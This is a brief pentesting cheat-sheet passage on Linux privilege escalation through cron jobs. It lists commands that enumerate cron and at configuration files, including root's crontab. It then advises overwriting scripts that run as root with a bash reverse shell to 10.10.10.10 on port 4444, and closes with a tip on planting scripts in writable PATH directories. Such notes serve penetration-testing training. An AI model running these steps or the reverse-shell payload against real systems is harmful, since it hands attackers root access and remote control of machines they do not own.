Cron
Cron Jobs - File Permissions
Check cron jobs configuration
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
Check if you can overwrite script that are executed as root, for example
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
Cron Jobs - PATH Environment Variable
Check cron jobs configuration
cat /etc/crontab
Check PATH configuration, do you have access to any of paths, if yes try to create script there